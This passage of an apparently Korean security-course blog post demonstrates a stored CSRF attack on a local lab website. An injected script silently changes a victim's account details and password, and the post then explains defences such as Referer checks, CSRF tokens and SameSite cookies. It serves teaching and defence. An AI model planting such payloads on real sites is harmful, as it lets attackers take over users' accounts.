var xhp = new XMLHttpRequest();
xhp.open(&quot;POST&quot;, &quot;http://192.168.56.1/insecure_website/index.php?page=mypage&quot;, true);
xhp.setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;);
xhp.send(&quot;gubun=action&amp;amp;name=희생자&amp;amp;password=victim&amp;amp;email=victim&amp;amp;company=(주)희생자&quot;);
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;실제 CSRF 삽입 페이로드, 개행이 적용되지 않음 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1738768416768&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;var xhp = new XMLHttpRequest();xhp.open(&quot;POST&quot;, &quot;http://192.168.56.1/insecure_website/index.php?page=mypage&quot;, true);xhp.setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;);xhp.send(&quot;gubun=action&amp;amp;name=희생자&amp;amp;password=victim&amp;amp;email=victim&amp;amp;company=(주)희생자&quot;);&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VMWare 의 해커 계정에서 위 악성 스크립트를 삽입하여 게시글을 작성한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;783&quot; data-origin-height=&quot;574&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bV4nwm/btsL7rSiQdf/dPHZ7EkcXseHdhDw54gtQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bV4nwm/btsL7rSiQdf/dPHZ7EkcXseHdhDw54gtQ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bV4nwm/btsL7rSiQdf/dPHZ7EkcXseHdhDw54gtQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbV4nwm%2FbtsL7rSiQdf%2FdPHZ7EkcXseHdhDw54gtQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;783&quot; height=&quot;574&quot; data-origin-width=&quot;783&quot; data-origin-height=&quot;574&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 작성 후 로컬 PC의 test1 계정으로 로그인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test1 계정의 정보는 다음과 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;784&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFiJYj/btsL8MHWj7b/9vilI6PVZvwWMAdTKHuu80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFiJYj/btsL8MHWj7b/9vilI6PVZvwWMAdTKHuu80/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFiJYj/btsL8MHWj7b/9vilI6PVZvwWMAdTKHuu80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFiJYj%2FbtsL8MHWj7b%2F9vilI6PVZvwWMAdTKHuu80%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;940&quot; height=&quot;784&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;784&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;54번 게시글을 클릭한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;411&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bW44Sm/btsL7iHRlvY/AyBtIfHdEcrVY8mBQO02H0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bW44Sm/btsL7iHRlvY/AyBtIfHdEcrVY8mBQO02H0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bW44Sm/btsL7iHRlvY/AyBtIfHdEcrVY8mBQO02H0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbW44Sm%2FbtsL7iHRlvY%2FAyBtIfHdEcrVY8mBQO02H0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;939&quot; height=&quot;411&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;411&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클릭 시 별다른 행위는 확인되지 않는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;597&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eghkjx/btsL9QCzy0X/NyN7ZaJkOFkm1imC4rIBx0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eghkjx/btsL9QCzy0X/NyN7ZaJkOFkm1imC4rIBx0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eghkjx/btsL9QCzy0X/NyN7ZaJkOFkm1imC4rIBx0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Feghkjx%2FbtsL9QCzy0X%2FNyN7ZaJkOFkm1imC4rIBx0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;941&quot; height=&quot;597&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;597&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MyPage 를 들어가면 회원정보가 수정된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;946&quot; data-origin-height=&quot;772&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bomesb/btsL7LC1PJZ/kgstODvD8rDQ6e6hvQncDK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bomesb/btsL7LC1PJZ/kgstODvD8rDQ6e6hvQncDK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bomesb/btsL7LC1PJZ/kgstODvD8rDQ6e6hvQncDK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbomesb%2FbtsL7LC1PJZ%2FkgstODvD8rDQ6e6hvQncDK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;946&quot; height=&quot;772&quot; data-origin-width=&quot;946&quot; data-origin-height=&quot;772&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트의 HTTP history 를 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=54 게시글을 클릭하여 회원정보 수정이 이루어진 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1355&quot; data-origin-height=&quot;373&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Wmo8N/btsL9pkTRFK/5dqJDRTr1yhknWqPYR0l70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Wmo8N/btsL9pkTRFK/5dqJDRTr1yhknWqPYR0l70/img.png&quot; data-alt=&quot;idx=54 게시글 클릭&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Wmo8N/btsL9pkTRFK/5dqJDRTr1yhknWqPYR0l70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWmo8N%2FbtsL9pkTRFK%2F5dqJDRTr1yhknWqPYR0l70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1355&quot; height=&quot;373&quot; data-origin-width=&quot;1355&quot; data-origin-height=&quot;373&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;idx=54 게시글 클릭&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;874&quot; data-origin-height=&quot;200&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZTyO1/btsL9JXLqoB/4EqIICFXG3lwn45rHryRfK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZTyO1/btsL9JXLqoB/4EqIICFXG3lwn45rHryRfK/img.png&quot; data-alt=&quot;GET 요청에 대한 Response&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZTyO1/btsL9JXLqoB/4EqIICFXG3lwn45rHryRfK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZTyO1%2FbtsL9JXLqoB%2F4EqIICFXG3lwn45rHryRfK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;874&quot; height=&quot;200&quot; data-origin-width=&quot;874&quot; data-origin-height=&quot;200&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;GET 요청에 대한 Response&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1191&quot; data-origin-height=&quot;416&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yQ8L1/btsL7Pym58h/dNMreRUkGFY9i1Gu9KZ48K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yQ8L1/btsL7Pym58h/dNMreRUkGFY9i1Gu9KZ48K/img.png&quot; data-alt=&quot;idx=54 게시글을 통한 회원정보 수정 요청&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yQ8L1/btsL7Pym58h/dNMreRUkGFY9i1Gu9KZ48K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyQ8L1%2FbtsL7Pym58h%2FdNMreRUkGFY9i1Gu9KZ48K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1191&quot; height=&quot;416&quot; data-origin-width=&quot;1191&quot; data-origin-height=&quot;416&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;idx=54 게시글을 통한 회원정보 수정 요청&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test1 계정(희생자로 변경됨) 로그아웃 후 다시 로그인을 시도해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전 비밀번호 test 를 입력하지만 로그인이 되지 않는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;284&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgPI3p/btsL8cUnvBx/YZOtzaCQttpAFkbTGw12r0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgPI3p/btsL8cUnvBx/YZOtzaCQttpAFkbTGw12r0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgPI3p/btsL8cUnvBx/YZOtzaCQttpAFkbTGw12r0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgPI3p%2FbtsL8cUnvBx%2FYZOtzaCQttpAFkbTGw12r0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;948&quot; height=&quot;284&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;284&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;변경된 비밀번호 victim 입력 시 로그인이 되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;589&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhArZT/btsL7vGUfbX/3CYaVOpxrWdKFI8TCk2G2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhArZT/btsL7vGUfbX/3CYaVOpxrWdKFI8TCk2G2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhArZT/btsL7vGUfbX/3CYaVOpxrWdKFI8TCk2G2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbhArZT%2FbtsL7vGUfbX%2F3CYaVOpxrWdKFI8TCk2G2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;589&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;589&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;398&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mACfU/btsL7qseEHO/aKi3sYPI61KO1hozMGBdw1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mACfU/btsL7qseEHO/aKi3sYPI61KO1hozMGBdw1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mACfU/btsL7qseEHO/aKi3sYPI61KO1hozMGBdw1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmACfU%2FbtsL7qseEHO%2FaKi3sYPI61KO1hozMGBdw1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;944&quot; height=&quot;398&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;398&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL 호출을 통해 회원탈퇴가 이루어지거나 또는 GET 방식을 사용하여 회원탈퇴가 이루어지는 경우 사용자가 인지하지 못한 상태로 회원탈퇴가 가능할 수가 있기 때문에 상당히 위협적이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단순히 세션 검증만 해서는 CSRF 공격을 방어하기 어려우므로 각각 기능에 대해 다양한 검증 방법을 추가하여 CSRF 공격을 방어해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4) 대응방안&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. Referer 값 검증&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. CSRF TOKEN 사용&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 인증 로직 사용 / CAPCHA 사용&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4. SameSite Cookie&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. Referer 헤더를 검증&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 게시글을 읽었는데 회원 정보 수정 요청을 한다. - 잘못된 요청&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; A사이트에서 B사이트로 회원 정보 수정, 게시글 작성 등의 요청을 한다. - 잘못된 요청&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 해당 요청 관련 form 에서 action 으로 이동이 아닌 경우는 잘못된 요청으로 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. CSRF TOKEN 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 난수화된 임의의 값을 세션과 form 페이지의 input 태그에 넣는다. - 세션과 form 에 각각 CSRF TOKEN 삽입&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 요청을 받는 action 페이지에서 세션과 form 페이지의 CSRF TOKEN이 동일한지 비교한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 공격자는 CSRF TOKEN 값 예상이 어렵다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 인증 로직 사용 / CAPCHA 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 게시글 수정/삭제 시 패스워드 입력, 회원 정보 수정 시 패스워드 입력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. SameSite cookie&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 쿠키가 없는 경우 도메인이 다른 사이트간 교차 요청 불가&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;CSRF Token 동작 상세 원리&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1211&quot; data-origin-height=&quot;670&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LsM4n/btsL8MPEnnl/c1cN0KaeI0cwWhzVfz51bK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LsM4n/btsL8MPEnnl/c1cN0KaeI0cwWhzVfz51bK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LsM4n/btsL8MPEnnl/c1cN0KaeI0cwWhzVfz51bK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLsM4n%2FbtsL8MPEnnl%2Fc1cN0KaeI0cwWhzVfz51bK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1211&quot; height=&quot;670&quot; data-origin-width=&quot;1211&quot; data-origin-height=&quot;670&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;폼 페이지(Form Page)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 게시글 작성/수정/삭제 및 회원정보 수정/삭제/탈퇴 등에 사용됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 값 입력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;액션 페이지(Action Page)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 폼 페이지에서 입력한 값들을 전달받고 동작을 실행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1458&quot; data-origin-height=&quot;472&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DeXyx/btsL8WYFhzk/FCZqWBQMOK7jsscFbS2QR0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DeXyx/btsL8WYFhzk/FCZqWBQMOK7jsscFbS2QR0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DeXyx/btsL8WYFhzk/FCZqWBQMOK7jsscFbS2QR0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDeXyx%2FbtsL8WYFhzk%2FFCZqWBQMOK7jsscFbS2QR0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1458&quot; height=&quot;472&quot; data-origin-width=&quot;1458&quot; data-origin-height=&quot;472&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;폼 페이지에서 CSRF Token 을 발급&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 세션에 Token 삽입&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 파라미터(hidden)에 Token 삽입&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;액션 페이지에서 CSRF Token 유효성 검증&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 세션 Token 받아옴&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 파라미터 Token 받아옴&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 세션과 파라미터의 Token 이 일치해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 파라미터의 Token을 어렵게 유추한다해도, 특정 사용자가 폼 페이지에 접근하지 않았다면 세션 내 Token 이 발급되지 않기 때문에, 액션 페이지에서 세션 Token 이 존재하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션 Token 이 존재하지 않으며 파라미터 Token 과 일치하지 않으므로 CSRF 공격이 어렵다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습6-4 취약 환경 시큐어 코딩 적용 실습-1&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실습 1) 게시글 작성 / 수정 / 삭제 기능에 대한 시큐어 코딩&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSRF Token 적용을 위해서 폼 페이지와 액션 페이지를 분류한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 위치: C:\APM_Setup\htdocs\insecure_website&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
